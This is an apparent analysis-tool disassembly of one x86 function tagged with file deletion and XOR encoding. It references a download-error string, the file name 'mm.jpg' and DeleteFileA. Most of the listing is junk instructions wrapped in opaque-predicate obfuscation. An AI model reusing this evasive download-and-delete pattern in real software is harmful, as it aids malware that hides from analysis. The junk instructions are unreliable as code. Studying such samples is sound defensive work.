Function at 0x1008ebd1
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov ebp, 0xc90008f8
push 0x160
mov eax, 0x10141aa1
call fcn.1011e502
mov eax, dword [ebp + 8]
push 0x103
pushfd
test byte [0x1008ec91], 0x85
jne 0x1008ec92
popfd
dec esp
insd dword es:[edi], dx
mov al, byte ds:[0x27cbe5da]
push ebx
sub dword [edi], ebp
cld
xchg esi, eax
jno 0x1008ebc9
mov cl, 0x7b
xchg ebp, eax
dec ebx
push ebx
mov dh, 0xf
add byte gs:[ebx], 0xbc
inc ebx
rcr dword [ebx], cl
or byte [edi + 0x6587c240], dh
in eax, 0x7b
pop ss
push esi
jl 0x1008ebfa
fcom qword [esi]
xchg ecx, eax
sbb dword [esi], esi
dec ecx
enter 0xffffffffffffaf0e, 0x3c
mov ecx, 0x70cf823a
sub ah, byte [ebx]
sbb al, 0x1b
inc ebx
cmp al, 0xdf
idiv dword [ebx + 0x7d]
fldenv [ebx + ebx*4 + 0xe]
jge 0x1008ec15
wait
push cs
mov cl, 0x76
inc ecx
inc edi
jae 0x1008ec31
je 0x1008ec3a
mov bl, 0x6b
sub eax, 0x76daec51
std
call dword [eax]
insd dword es:[edi], dx
inc ecx
push ds
inc ebx
add al, 6
fsub qword [ecx]
mov ah, 0x94
or byte [edx + 0x6d4b5251], dl
rcr dword [edx + 0x7401c1d9], 1
sahf
out 0x9f, al
stc
dec esi
insb byte es:[edi], dx
adc edx, edx
in eax, dx
push ebx
mov al, byte [0xe797ca93]
sbb ah, byte [ebp + 0x765acb58]
shl eax, cl
cmp dword [ebp - 0x5c494221], eax
je 0x1008ec78
movsd dword es:[edi], dword [esi]
pop eax
retf
mov esp, dword [ebp - 0x1e]
or dh, byte [ecx + 0x20623fc2]
push ebp
insd dword es:[edi], dx
popfd
mov dword [ebp - 0x150], eax
xor edi, edi
lea eax, [ebp - 0x113]
push edi
push eax
mov esi, ecx
mov byte [ebp - 0x114], 0
call fcn.1011df60
lea ebx, [esi + 0x758]
pushfd
test byte [0x1008eda1], 0xb
je 0x1008eda2
fist word [eax]
popal
test byte [esi], 0xf9
stosd dword es:[edi], eax
aaa
mov ah, 0x65
call 0xa6fce91f
pushfd
push cs
rcr dword [ecx + 0x1acbdb4c], 0xac
xchg esi, eax
or byte [eax - 0x1059b1a8], al
xor dword [esi], ecx
sub byte [ecx + 0x7ec5116b], bl
int1
cmp eax, dword [edi]
pop esp
or ebp, dword cs:[eax - 0x23b16f7a]
aas
pop eax
and al, 0x2a
or byte [edi], 0x24
sub dword [ecx], esp
jne 0x1008ecec
lahf
insd dword es:[edi], dx
daa
pop eax
and esi, dword [esp]
pop edi
mov dword [0xf133f243], eax
aad 0xd8
and eax, 0x48b9b804
dec edx
fimul dword [eax]
cmp dword [eax - 0x40], esp
mov eax, dword [0x45946749]
int 0x25
inc ecx
mov bh, 0x9c
and edx, dword cs:[eax + edi*8 + 0x70]
and edx, dword [eax + edi*8 + 0x70]
xchg dl, dl
out dx, al
sal al, 1
jge 0x1008ed77
mov eax, esp
and ecx, dword [esi + 0x6421ff43]
inc ebx
jnp 0x1008eda1
mov byte [eax + 0x484f5164], al
push ecx
dec edi
dec eax
mov eax, 0xb5e4079d
fstpnce st(5), st(0)
mov dword [0x5296b8b7], eax
xor edx, dword [esi - 0x7d1b161e]
add byte [edx - 0x6e059a85], 0xcf
imul ebx, dword [eax], 0xffffffb1
adc dh, 0x2c
imul esp, dword [ebp + 0x3794190c], 0xfffffff4
rcr dl, 1
loop 0x1008ed27
fcom dword [eax]
add al, 0x33
call 0xf9380d9d
push eax
and byte [ebp - 0x4e], ch
out dx, eax
pop ebp
pop edx
std
aam 0x85
out 0x2e, eax
adc dword [eax + 0x37], esp
pop ecx
fmul dword [ecx - 0x37]
and dword [0x2f39bba9], eax
out 0xed, eax
xlatb
mov ah, 0xa0
pop edi
scasd eax, dword es:[edi]
push ebx
out 0xee, al
cmp ebx, edi
xchg byte [ebx + 0x708ed932], bl
jo 0x1008ed40
popfd
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.1011f120
pushfd
test byte [0x1008ee4b], 0x3c
jne 0x1008ee4c
add eax, 0x1008ee4b
cmp al, 0xf
test dword [esi - 0x40000000], ecx
mov bh, 0xba
inc edx
cmp dh, byte [edx - 0x2334edd8]
invalid
sal byte [edi - 0x4dc5bd46], 0x28
adc cl, bl
fdivr st(0), st(0)
in al, dx
cld
les ebx, [ecx]
fcmovb st(0), st(3)
dec esi
xor esi, dword [ecx - 0x53]
or ah, byte [edi - 0x36f7a538]
aas
push cs
jge 0x1008edb2
loopne 0x1008ee2e
scasb al, byte es:[edi]
push esi
jo 0x1008ed6c
mov eax, dword [0x84f34d77]
xlatb
and ch, byte [edx - 0x78bc12d1]
into
cmp eax, 0xf05ca4aa
sbb dword [ecx + 0x2ea5671b], esi
mov byte [ecx], bl
xchg edi, eax
and ch, byte [esi + 0x1963fe64]
test eax, 0xb12586f6
pop ss
nop
lodsd eax, dword [esi]
sbb eax, 0x62a3edad
aas
jle 0x1008ee52
js 0x1008ee6b
stc
xchg ebp, eax
mov cl, 0x2d
fdiv dword [ebx + ecx*8 - 0x50]
inc eax
or al, 0xe8
aam 0x95
jl 0x1008edb7
and ah, byte [0x82b72cc0]
add dword [eax], esp
outsb dx, byte [esi]
stosb byte es:[edi], al
cld
aas
mov fs, word [ecx + 0x41]
push ebp
sbb edi, dword gs:[ecx + 4]
imul eax, dword [eax], 0xffffffca
imul ebx, dword [ebx - 0x62a6987f], 0x1b5a6675
int3
popfd
push 0x101476cc
push ebx
call fcn.1011ed1d
add esp, 0x1c
cmp eax, edi
jne 0x1008ef3c
or eax, 0xffffffff
call fcn.1011e585
pushfd
test byte [0x1008ef37], 0x9b
out dx, eax
or byte [eax], dl
wait
jne 0x1008ef38
loopne 0x1008eee0
push ds
and dh, byte [esi + ebp*8]
mov ebx, 0x93ac070f
xchg ebx, eax
mov ebp, 0xe75262a6
jl 0x1008eedd
int 0x7d
mov ebx, 0xb2d70e92
inc edx
jle 0x1008ee6f
mov ebp, 0x564d3b4e
add ah, byte [ebp - 0x5a]
imul esi, edx, 0xffffff85
jo 0x1008ef03
aam 0x6a
push esi
dec ebx
jae 0x1008ee4d
mov dh, 0x1b
daa
jge 0x1008eef5
mov edx, 0x74c67cf8
or al, 0x31
dec ebx
mov ch, 0xb2
mov dword [edx - 0x2ef0b5d5], ebx
pop ds
mov esi, 0x786b80f4
pop ecx
je 0x1008ef3b
imul edi, dword [eax + 0x59], 0x74
jb 0x1008ef06
cmp al, 0x29
mov dl, 0x5a
sbb byte [ebp + 0x14ed98b5], dl
outsd dx, dword [esi]
sub dword [edx - 0x4a6ae7a6], esi
cwde
in eax, dx
adc al, 0x6f
adc byte [ebp + 0x54], 0xab
mov ebp, 0xaf5e2bbd
scasd eax, dword es:[edi]
jecxz 0x1008eec4
jl 0x1008ef5e
pop edi
jne 0x1008ee83
test esi, eax
test esi, eax
inc byte [ecx]
call 0xfdc11bd8
lodsb al, byte [esi]
pop eax
mov ss, esp
shr ah, cl
inc esp
mul dword [ebp - 0xd]
cmp bl, byte [esi + 0x59]
test dword [eax], ebx
pop ecx
in eax, 0xc6
fcomp dword [ebp - 0x5002e149]
mov bh, 0x1e
std
scasd eax, dword es:[edi]
xchg esi, eax
daa
cld
sub ebp, dword [esi - 0x6f]
mov dh, 0x29
lea edx, [ebp + 0x323354cb]
push ecx
dec esi
out 0x62, al
dec edi
cli
xchg byte [eax - 0x28], cl
mov cl, 0xa9
sub al, 0x87
salc
adc dword [ecx], edx
leave
cmp ah, byte [esi]
pop esi
cld
outsb dx, byte [esi]
outsb dx, byte [esi]
dec eax
xchg ebx, eax
imul edi, dword [edx], 0x7a
jge 0x1008ef67
insb byte es:[edi], dx
push esp
pop edi
sub al, 0xfe
popfd
ret 4
add byte [ebx + 0x2f6a02c0], al
add eax, 2
push 0x2f
das
push eax
call fcn.1011e8e9
pop ecx
pop ecx
cmp eax, edi
je 0x1008efe4
cmp byte [eax + 1], 0
pushfd
test byte [0x1008efda], 0xd1
jne 0x1008efdb
jl 0x1008efd0
jo 0x1008eee6
test ebp, edx
jmp 0x1008ef6c
aad 0xeb
or byte [esi + edx*4], ch
lodsd eax, dword [esi]
rol byte [ebx - 0x2c], 0x9c
adc eax, 0x6ad0cbea
je 0x1008ef40
ljmp 0xcdce:0x746ad0cb
int 0x42
das
aad 0x9f
mov edx, 0x3f979c03
pushfd
xchg edi, eax
aas
mov dword [0xa67d5674], eax
push edx
sti
mov dword [eax - 0x6fdf8fff], esi
movsd dword es:[edi], dword [esi]
pop esi
stosb byte es:[edi], al
xor dword [ebx + 0x36e8ceff], esp
jno 0x1008ef2d
cmp esi, dword [ebx - 0xcc45d08]
and esi, dword [ebx - 0x509db263]
dec esp
xor byte [esi + 0x705f4ecb], 0xca
enter 0x230, 0x56
xchg esi, eax
push ecx
cmp dh, byte [edi]
stc
daa
aaa
xor eax, 0x46fc6c6a
sub esi, dword [ebx]
outsd dx, dword [esi]
in al, dx
xor byte [edx], dh
xor al, 0x61
or dword [ebp - 0xc], esp
aad 0xe4
pop esi
or al, byte [edi]
std
dec eax
in eax, dx
mov dword [edx + 0x76dd332d], 0x56f961a7
jbe 0x1008ef79
popal
stc
push esi
mov ah, 0x25
je 0x1008f051
pop edi
xchg edi, eax
popfd
jne 0x1008f204
jmp 0x1008f014
lea eax, [ebp - 0x114]
push 0x101476c8
push eax
call fcn.1011f130
pop ecx
pop ecx
pushfd
test byte [0x1008f012], 0x26
jne 0x1008f013
and dword [ebx + 0x65], edx
and eax, 0xd7a78985
std
sbb byte [edx*4 + 0x2743594f], dl
jne 0x1008f05d
popfd
lea eax, [ebp - 0x114]
pushfd
test byte [0x1008f0c9], 0x4d
lock or byte [eax], dl
dec ebp
jne 0x1008f0ca
xor edi, dword [eax - 0x285b1330]
push 0x2ff51418
pop ss
mov eax, dword [0x8af1c490]
lodsd eax, dword [esi]
xchg edx, eax
mov bl, 0x62
in eax, dx
push 0x18cab441
inc eax
cmp eax, 0x2c2560c8
movsb byte es:[edi], byte [esi]
stc
mov bl, 0xb
adc ch, byte [ecx - 0x779acaa6]
clc
nop
invalid
mov al, bh
xchg byte [edx + 0x1c], ch
test al, 0xea
xor ch, cl
inc eax
jns 0x1008f01e
sal byte [ecx], 0x95
jecxz 0x1008f098
xor dword [ebp + 0x2de636e3], edx
out 0x2d, al
push edi
dec esi
add dh, byte [ebp*4 - 0x358ee997]
stosb byte es:[edi], al
cmp dword [esp + eax*8], 0xfb5f5704
xor esp, esi
xchg ebx, eax
cmp eax, 0x33ebdc58
xor eax, 0xbcf26ced
push edx
inc ebp
out dx, al
mov ebx, 0x76db3752
pop edi
clc
in eax, dx
push esi
ficomp dword [esi - 0x11]
salc
jl 0x1008f096
dec dword [ebx - 0x6f]
dec ebx
xchg ecx, eax
jnp 0x1008f0b6
clc
push ebp
inc ecx
xchg ecx, esi
sub ecx, ebp
and cl, dl
cdq
mov ecx, 0x86c2ef0b
loopne 0x1008f035
sub bh, ah
out 0xef, al
bound esp, qword [esp + edi*2]
mov edi, 0xa71dcc45
rcr dword [ebp + 0x203aac0], 1
sbb eax, 0xc09dd1a7
stosb byte es:[edi], al
add eax, dword [edx]
cmp eax, 0x9d360218
out dx, al
xchg esp, esi
int 0xe
fcmovbe st(0), st(3)
popfd
push str.mm.jpg
push eax
pushfd
test byte [0x1008f0fb], 0x86
jne 0x1008f1fc
mov bh, 0xc7
dec edi
xchg ecx, eax
xor eax, 0x5461df57
mov eax, 0xf765d698
and edi, esi
aas
pop edi
mul esp
xchg dword [edi + ebp*8], edi
dec edx
mov ah, 0xb9
js 0x1008f142
push es
and edx, dword [esi - 0x5be10c7a]
sti
sub byte [ebx + 0x17eec639], al
inc ebp
salc
sub dh, byte [eax]
mov ebp, 0x860224be
cmp dh, cl
cld
scasb al, byte es:[edi]
mov edx, 0x447ebbb5
scasb al, byte es:[edi]
fild qword [eax + 0x7d]
pop ss
fadd dword [esi + ecx*4 - 0x1f0fd7b0]
push ebp
cmp eax, 0x85f617da
neg dword [esi]
rcl dword [ebp - 0x64e2818c]
rcl ecx, cl
mov dword [eax + 0x597a92c5], edx
aaa
nop
add edx, esp
xlatb
fadd st(7), st(0)
jae 0x1008f1b1
clc
mov ebx, 0x4cc9f84d
sub al, byte [ebx + 0x3617421d]
in al, dx
shr dword [ecx], 1
pushfd
sub dword [edi + esi + 1], ebx
sbb dword [ebp - 0xd], eax
mov eax, dword [0xadce9f91]
pop esp
scasd eax, dword es:[edi]
salc
adc eax, 0x84dfb181
push ebx
arpl word [ebp + 0x63], sp
jb 0x1008f1e8
scasd eax, dword es:[edi]
xor dh, byte [eax + edi*2 - 3]
add bh, bl
sbb dword [ecx - 0x6d], 0xffffffee
aaa
xchg edx, eax
daa
fild word [ebp - 0x91f6b0e]
cld
and esi, edi
mov ah, 0x34
cld
xchg ecx, eax
scasb al, byte es:[edi]
add byte [esi], dl
sub eax, 0xaace313c
in al, 0x9c
adc al, byte [edi]
insd dword es:[edi], dx
rcl dword [edx + 0x4ec869e3], 0xc7
push ecx
loopne 0x1008f12d
adc esi, dword [ebx - 0x11]
add eax, 0xf284a4e
adc dword [esi + 0x2008fc92], eax
or byte [eax], ah
test eax, 0x72ae6113
pop ebx
fmulp st(6)
adc ebp, ecx
sbb al, 0x6c
dec edx
mov cl, 0x90
test dword [ebx + 0x11], ebp
std
pop esi
push ds
mov dh, 0xe0
push 0x74999d0c
fsubp st(4)
fbld tbyte [ecx + ebp*2 + 0x66e6bd49]
call 0x9a0f9d2
mov dword [esi - 3], esp
rol dword [ebx], cl
arpl word [esi + edx*2], cx
pushal
or cl, byte [esi - 0x10]
pushal
cld
mov ecx, dword [edi + 0x62412491]
mov edi, 0x9829e82b
cmc
sal esp, 9
xchg esi, eax
dec esi
invalid
popfd
call fcn.1011f130
pop ecx
pop ecx
push 0x10146825
pushfd
test byte [0x1008f296], 0x1b
jne 0x1008f297
dec ebx
xchg ecx, eax
mov ebp, dr3
and byte [esi - 0x2c], 0x64
push ebx
jmp dword [ebp - 0xebe6230]
popfd
lea ecx, [ebp - 0x130]
call fcn.10005af6
push 0x101475f8
lea ecx, [ebp - 0x16c]
mov dword [ebp - 4], edi
call fcn.10005af6
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 1
call fcn.10005af6
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x130]
push eax
pushfd
test byte [0x1008f36c], 0x81
jne 0x1008f36d
add eax, 0x1008f36c
or dword [edi], 0x8585
add bl, ah
add byte [eax + 0x52], ch
cdq
adc dh, byte [edi - 0x39be7000]
out dx, al
nop
jecxz 0x1008f2ea
push 0xb7129952
add byte [eax - 0x6f1139bf], dl
jne 0x1008f32e
insd dword es:[edi], dx
inc ecx
ror bh, cl
adc dword [edx], esp
cli
or al, 0xda
push edx
xchg ebx, eax
add al, 0xdc
insb byte es:[edi], dx
add eax, ebp
test eax, 0xb1213668
js 0x1008f2dc
adc eax, 0x71932e52
inc edi
dec ecx
cld
pop dword [edx + 0x79]
adc byte [edx - 0x339ad2d0], dl
cmpsd dword [esi], dword es:[edi]
and byte [esi + 0x14], dh
inc edi
mov ch, 0x99
out dx, al
pushal
sub dword [ebp - 0xf], ebp
imul byte [edx]
bound ebp, qword [esi - 0x5303f58e]
insd dword es:[edi], dx
jb 0x1008f375
jno 0x1008f383
sub al, 0xf5
sbb al, 0x1e
jae 0x1008f39d
sub al, al
cld
out dx, eax
or dword [esi + 0xe], esp
mov al, byte [0xbd8e15a4]
test al, 0xb8
jg 0x1008f320
not dword [eax + 0x2cfba95a]
cdq
xlatb
push edx
sbb edi, ebx
test dword [ecx - 0x19], esi
or bl, byte [edx - 0x67]
test dword [ebx + 0x238b7ac0], ecx
and ebp, dword [edi]
mov ch, 0xad
pop ebx
loopne 0x1008f334
popfd
lea eax, [ebp - 0x14c]
push eax
lea ecx, [esi + 0x7f8]
mov byte [ebp - 4], 2
call fcn.10087e59
mov bl, al
push edi
pushfd
test byte [0x1008f3df], 0x9d
dec dword [edx - 0x963a828]
add eax, 0x1008f3df
popfd
jne 0x1008f4e0
push ss
and al, 0x82
xlatb
add ebp, dword [eax + 0x37495041]
dec ecx
aaa
pop esi
pop dword [ecx - 0x14f81763]
sahf
mov ecx, 0x54dcc3ed
int1
sbb al, 0x85
adc al, 0xcd
xor dword [ecx], esp
push cs
in eax, 0xa4
add eax, 0x1bdeeaaf
shr dword cs:[edx - 0x3f724b5e], cl
into
aad 0xc9
pop ebp
adc esp, dword [edx]
ja 0x1008f3a9
ret
fbstp tbyte [0x111fc89d]
xor eax, 0x111fc89d
clc
jbe 0x1008f3e7
jnp 0x1008f453
xor byte [edx - 0xe], dl
cmp byte [ebp + 0x16bf076], 0x93
mov ebp, 0x16bf076
xchg ebx, eax
xchg edx, eax
or ch, byte [ebx]
test dword [edi + 0x6d04309f], ebx
lahf
lahf
xor byte [ebp*2 + 0x6ce4ef75], al
jne 0x1008f3d8
in al, 0x6c
adc eax, 0xaf5846f8
mov ah, 0x7d
fdiv dword [eax + 0x2d]
sti
cmp byte [edx - 0x11], cl
mov al, byte [0x55a08280]
sal dword [esi], 0xfd
adc ebx, ebx
push esp
sbb dword [eax - 0x47eeb09c], esi
cld
fdiv dword [edi - 0x8e36ca2]
xchg dword [eax - 0x6668e1fc], esi
jl 0x1008f484
in eax, dx
test al, 0xd0
pop edx
ficomp dword [ebp - 0x43]
pop eax
ficomp word [ebx + 0x5e]
call 0x72efa5bb
out dx, al
pop ebp
dec eax
mov ebp, 0x3cafed8a
cmp ebp, dword [esi + 0x60]
sahf
test eax, 0x1a648e5f
sbb esp, dword [ebx]
in eax, 0xf
stosb byte es:[edi], al
or al, 0xe2
xchg dword [edx - 0x6487f44e], edx
loop 0x1008f3c9
xchg edx, eax
mov dl, 0xb
js 0x1008f3e2
ror dword [edi], 0xe1
add eax, 0xca8c98c7
mov ecx, dword [edi]
call 0x4ac0371e
inc edx
mov bh, 0x3a
imul edi, dword [ebp + 0x7d], 0xa71a2a35
xor dword [edx + 0xd], esp
cmp byte [eax - 0xa81756b], cl
cmp edx, dword [ebp + eax*2 + 0x63ac1e72]
sbb al, 0x6f
imul edx, ebp, 0xffffff87
push edx
jae 0x1008f46d
cmpsd dword [esi], dword es:[edi]
pop edx
push ebx
mov al, 0x77
dec esp
inc ebx
rcl byte [ebx + 0x42], cl
jb 0x1008f486
outsb dx, byte [esi]
push esi
xchg ecx, eax
cli
sbb eax, 0xfda3f506
pop eax
fdivr qword [edx - 5]
push es
cmc
mov dword [0x7adc58fd], eax
sti
lds ecx, [ebp + 0x25]
pop es
or edx, ebp
pop es
inc ebx
or al, byte [ecx - 0x70181ea2]
mov bh, 0x89
mov edx, 0x6754caf5
movsb byte es:[edi], byte [esi]
jl 0x1008f440
aas
pop ecx
mov eax, dword [0x96a7837f]
cld
xor ch, ch
and al, 0x83
sbb byte [eax], cl
mov byte [ecx], ch
neg dword [ecx + 0x33]
int3
popfd
neg bl
push 1
fld xword [edx + 1]
lea ecx, [ebp - 0x14c]
sbb bl, bl
call fcn.10002a9a
pushfd
test byte [0x1008f5d4], 0xba
jne 0x1008f5d5
aam 0xf5
or byte [eax], dl
mov edx, 0xd5850f
add byte [eax], al
mul dl
sub al, 0xd4
push ebx
stc
mov ah, byte [edx - 0x1c]
cwde
adc dword [ecx + 0x6f], eax
sal dword [esi + 0x115f781d], 1
fild qword [0x8b41d766]
inc esi
mov ecx, dword [esi + 0x7f]
xchg byte [eax], bh
sahf
sub dl, ch
cmp dh, byte [edx + 0x15]
int1
imul eax, dword [0xe574c7b0], 0x49
inc ebx
push esp
dec esi
ja 0x1008f54c
loop 0x1008f579
out 0xdb, al
in al, 0x1d
jle 0x1008f4e2
fstp xword [eax]
sbb esp, dword [edi]
test al, 0x1c
not dword [ebp + 0x12]
mov esi, 0xe41c27d7
dec ebx
les eax, [edi + ebx*2 + 0x72]
cmp byte [edi], ch
pop edi
jb 0x1008f587
das
jb 0x1008f4f5
push ss
sub edi, dword [edx + ecx - 0x63]
cmp eax, 0xc93cabda
cmp al, 0xc9
lahf
pop ecx
mov edx, 0x58dec11
mov dh, 0xb9
push edx
imul esi, esi, 0x48a9b5d2
cmp byte [esi + esi*2 - 0x55], ch
bound ebx, qword [esi - 0x75]
imul eax, dword [ecx], 0x4f925846
cld
jle 0x1008f552
or ch, dl
add ebp, esi
adc ebp, dword [edi + 0x74]
pop esp
or dword [edi + ebx*4 - 0x5f], edx
adc dword [edx], 0xffffffd7
push ebp
mov eax, dword [0x55d71283]
leave
cmp al, 0x18
or bl, byte [ecx + 0xd]
aam 0x13
jge 0x1008f55a
cmp eax, 0xb8a8752c
pushfd
and dword [edi], edx
imul esp, dword [ebx], 0x292a7f2b
pushfd
add eax, 0xaf8904ed
stosb byte es:[edi], al
dec ebp
xchg esp, eax
xor al, 0x5c
push esi
sub byte [esi - 0x7f], bh
add eax, 0xa5970fa9
or dword [edx], esi
push esp
jl 0x1008f5e3
xchg edi, eax
imul edx, dword [edi + 1], 0x20
mov ebx, 0xbca88f7e
outsb dx, byte [esi]
pop ecx
stc
mov cl, 0x4e
xchg esp, eax
or ecx, edi
xchg byte [ebp + 0x59], bh
cpuid
insd dword es:[edi], dx
popfd
push edi
push 1
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 0
call fcn.10002a9a
inc bl
je 0x1008f752
test byte [edx + 1], ah
add byte [eax], al
push dword [esi + 0x91c]
push str.GetFileFromURL_Error:_d
pushfd
test byte [0x1008f633], 0x60
jne 0x1008f734
adc byte [esi + esi*8 + 0x8f63305], bl
adc byte [eax + 0xf], ah
test dword [ebx], ebp
add dword [eax], eax
add ch, ch
in eax, dx
scasd eax, dword es:[edi]
je 0x1008f67b
cmpsd dword [esi], dword es:[edi]
pop eax
loopne 0x1008f5eb
js 0x1008f636
adc edx, dword [ebx - 0x1d]
mov dl, 0x3e
out 0xd6, al
xlatb
sub eax, 0xd3b42954
lds esi, [eax + ecx*4 + 7]
mov dword [0xf8987982], eax
or cl, ah
out dx, al
outsd dx, dword [esi]
add dl, byte [esi + 0x74876d81]
jb 0x1008f646
insd dword es:[edi], dx
xchg dword [edx + esi*2 + 0x11], esi
cwde
sbb bl, dl
std
mov ebx, 0x7180cfe4
xchg dword [esi - 0x3b38e1c3], ecx
xchg esp, edi
cmp ebx, 0xfffffff1
cli
lodsd eax, dword [esi]
jle 0x1008f630
mov esi, ecx
xor al, 0xca
cmp cl, byte [ebx - 0x3d344bee]
add ebx, esi
or ecx, dword [ecx - 0x1bed2586]
mov dl, 0xcb
into
fdivp st(7)
scasd eax, dword es:[edi]
push edi
mov cl, 0x54
and al, 0x8f
loop 0x1008f5fa
mov bl, 0xe
sbb dh, 0x94
fucomi st(0)
push es
push ecx
xchg ebp, eax
dec ebp
and al, 0xc9
and eax, 0x9faf21cc
add eax, 0x2493d840
in al, 0x62
salc
dec eax
stosd dword es:[edi], eax
mov dl, 0x48
int 0xb7
inc ebx
xchg ebx, eax
push 0xa083a39f
stc
cmp al, ah
pop edx
ror dword [0xb404bb24], cl
in eax, 0xe7
arpl dx, bp
push esp
int1
sub dword [ebx - 0x19], 0xffffff88
loopne 0x1008f727
int3
jno 0x1008f6c8
add dword [ebx + 0xccf169e], esp
std
xchg esp, eax
cdq
push esp
push ebx
arpl word [ecx + 0x35e6b1e3], sp
call 0x28f5b821
inc esp
jecxz 0x1008f67b
std
imul edx, dword [ecx - 0x1bd5da95], 0x1c66b94c
shr byte [edx], 1
jo 0x1008f720
imul esp, dword [0xb94ce42a], 0x66
sbb al, 0xd0
sub dh, byte [eax + 0x4c]
stosd dword es:[edi], eax
shr dword [ebp + 0x4d], cl
cmp al, 0x2f
out dx, al
cmp eax, 0xb4cedcd0
inc ecx
sbb bh, byte [ecx - 0x638dcc3b]
sbb byte [esi + 0x3cbef2ed], cl
xchg ecx, eax
jecxz 0x1008f6aa
rcl dword [ecx - 0x370b19fa], cl
xchg edx, eax
sub esp, edx
pop eax
jl 0x1008f6f7
or byte [esi], 0xc1
adc eax, 0xb1883e0b
pop es
push cs
rcl dword [0xb1883e0b], 7
sbb byte [ebx - 4], dh
add byte [edi + 0xb11385], dl
adc dword [0x55f6f267], ebp
imul esi, dword [ecx + 0x4a0a8607], 0xffffffb2
adc ah, byte [bp + si - 0x1b]
jns 0x1008f78a
pop es
xchg dword [edx], eax
mov esi, 0x3dbf5bca
jb 0x1008f6fe
pop ebx
mov edi, 0xa7d2723d
cmpsd dword [esi], dword es:[edi]
adc eax, 0x950614c7
xchg ch, ah
popfd
push edi
push edi
call fcn.10049c0c
add esp, 0x10
push edi
push 1
lea ecx, [ebp - 0x130]
call fcn.10002a9a
jmp 0x1008ee63
cmp dword [ebp - 0x11c], 0x10
mov eax, dword [ebp - 0x130]
jae 0x1008f767
lea eax, [ebp - 0x130]
push dword [ebp - 0x150]
mov ecx, esi
pushfd
test byte [0x1008f831], 0x4d
jne 0x1008f832
adc eax, 0x741d44b4
adc dword [ecx], ebx
pop esi
sub ah, byte [ecx - 4]
popal
cld
xchg esp, eax
or esp, 0xa11a1ebe
mov dl, 0xd
push ecx
salc
out 0xe3, eax
inc esp
aaa
adc eax, 0x8bb33aa
movsd dword es:[edi], dword [esi]
ja 0x1008f7b2
int3
xor edx, ebp
mov dl, 0xec
in eax, dx
and eax, 0x8c40e0af
sti
das
lea esi, [esi - 0x14c791dc]
dec edx
scasd eax, dword es:[edi]
push esp
fcmovu st(0), st(0)
mov ch, 0xdb
lahf
pop ebx
adc eax, 0xc58488b4
jnp 0x1008f80b
cdq
xchg esp, eax
mov cl, 0x73
mov cl, byte [esp + ecx - 0x767e94a4]
int1
cld
imul byte [edx + 0x16328c0e]
mov ch, 0x8f
mov ebp, 0x2c855c13
push ss
sub al, 0x16
or byte [ecx + 0x7d], 0x3a
sbb dh, byte [ebx + 0xa]
movsb byte es:[edi], byte [esi]
sub dword [ecx - 0x3aa8be67], esp
mov bh, 0xbb
or byte [eax - 0x78], ah
mov bh, 0x47
mov bl, 0x92
popal
sub al, 0xaa
sbb eax, 0x6386f73c
mov dh, dl
cmpsd dword [esi], dword es:[edi]
jg 0x1008f7da
jns 0x1008f786
inc esi
ficom dword [eax + 0x2e]
mov esi, eax
inc edi
adc esp, ecx
or al, 0x76
push eax
in eax, 0xe6
cli
and esi, dword [edx + 0x1cefd675]
outsd dx, dword [esi]
salc
out dx, eax
sbb al, 0x6f
inc edx
adc byte [ebp - 0x76], ah
fild qword fs:[esi]
push ss
sub ah, ah
cmpsb byte [esi], byte es:[edi]
or ch, byte [edx - 0x69]
or eax, 0xc03b3c23
scasb al, byte es:[edi]
dec edx
mov ah, 0x11
dec eax
popfd
push eax
call fcn.10054153
test eax, eax
mov eax, dword [ebp - 0x130]
jne 0x1008facb
cmp dword [ebp - 0x11c], 0x10
jae 0x1008f856
lea eax, [ebp - 0x130]
test eax, edx
invalid
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or esi, 0xffffffff
pushfd
test byte [0x1008f958], 0x5c
jne 0x1008f959
add byte [eax], al
mov al, byte [0x9b3e081e]
mov ds, word [ecx]
das
push esi
xor al, 0x6a
mov edi, 0x1e3f35cd
mov al, 0x89
and byte [eax + 0x46eefb23], dh
jb 0x1008f816
add esp, dword [eax - 0xc2ee03f]
into
mov al, 0x10
jns 0x1008f851
lodsd eax, dword [esi]
add eax, 0x756e1e1f
or dword [ecx + eax + 0x30], ebx
dec edi
sub byte [esi - 0x54], dh
xlatb
ja 0x1008f91c
add ecx, dword [edi + esi*8 - 0x27201b8]
push ecx
jg 0x1008f880
stosb byte es:[edi], al
sbb dl, byte [0x5427ea78]
sub byte [ecx - 0x7a5cbb2d], bl
jo 0x1008f86c
inc esp
mov dword [0xedaf7085], eax
in eax, dx
mov dword [esp + ecx*2 - 0x76ab3f19], eax
movsb byte es:[edi], byte [esi]
add al, 0xa2
push ds
jno 0x1008f93c
stosb byte es:[edi], al
or al, 0x61
mov cl, 0x40
movsb byte es:[edi], byte [esi]
dec esi
push esp
dec edx
aad 0x12
add eax, 0xcd0ed28c
dec ecx
jnp 0x1008f8e8
jb 0x1008f8f6
scasb al, byte es:[edi]
aaa
mov dh, 0x4f
sbb eax, 0x39009dc1
pop ds
cmp dword [edi], ebx
lds edi, [edi]
jg 0x1008f8a1
cld
mov dword [0x2a951628], eax
cld
sub byte [esi], dl
xchg ebp, eax
sub bh, ah
jl 0x1008f8b8
rol dword [edx + 0x39], 0xe9
inc edx
cmp ecx, ebp
call dword [eax - 0x9dfd605]
test al, 0xc2
imul eax, dword [ebp + 0x2fbc8290], 0xffffffc2
invalid
outsd dx, dword [esi]
mov ebp, esp
mov dword [0xedc30dd4], eax
in eax, dx
cmpsd dword [esi], dword es:[edi]
fcomp qword [ebx - 0x5f]
insb byte es:[edi], dx
or ch, al
xchg ebp, eax
mov dword [0x533ec1a4], eax
cmp al, 0x8b
out 0xe8, al
or byte [esi + ebp - 0x280c517e], cl
cmpsb byte [esi], byte es:[edi]
sub eax, 0x5d67aeb4
add esi, dword [edi + 6]
ja 0x1008f944
add byte [edi], dh
cmp dword [eax - 0x7bb9490f], 0xf43318fb
xlatb
inc ebp
and eax, 0xb34c2c7a
sbb ebx, dword [edx + 0x11]
xchg ebx, eax
jb 0x1008f9b9
inc esi
test bl, bh
sbb byte [ebx], dh
hlt
jge 0x1008f8f0
popfd
push edi
pushfd
test byte [0x1008f9b5], 0x54
je 0x1008fab6
add byte [eax], al
push edx
insb byte es:[edi], dx
mov dh, 0x43
pop es
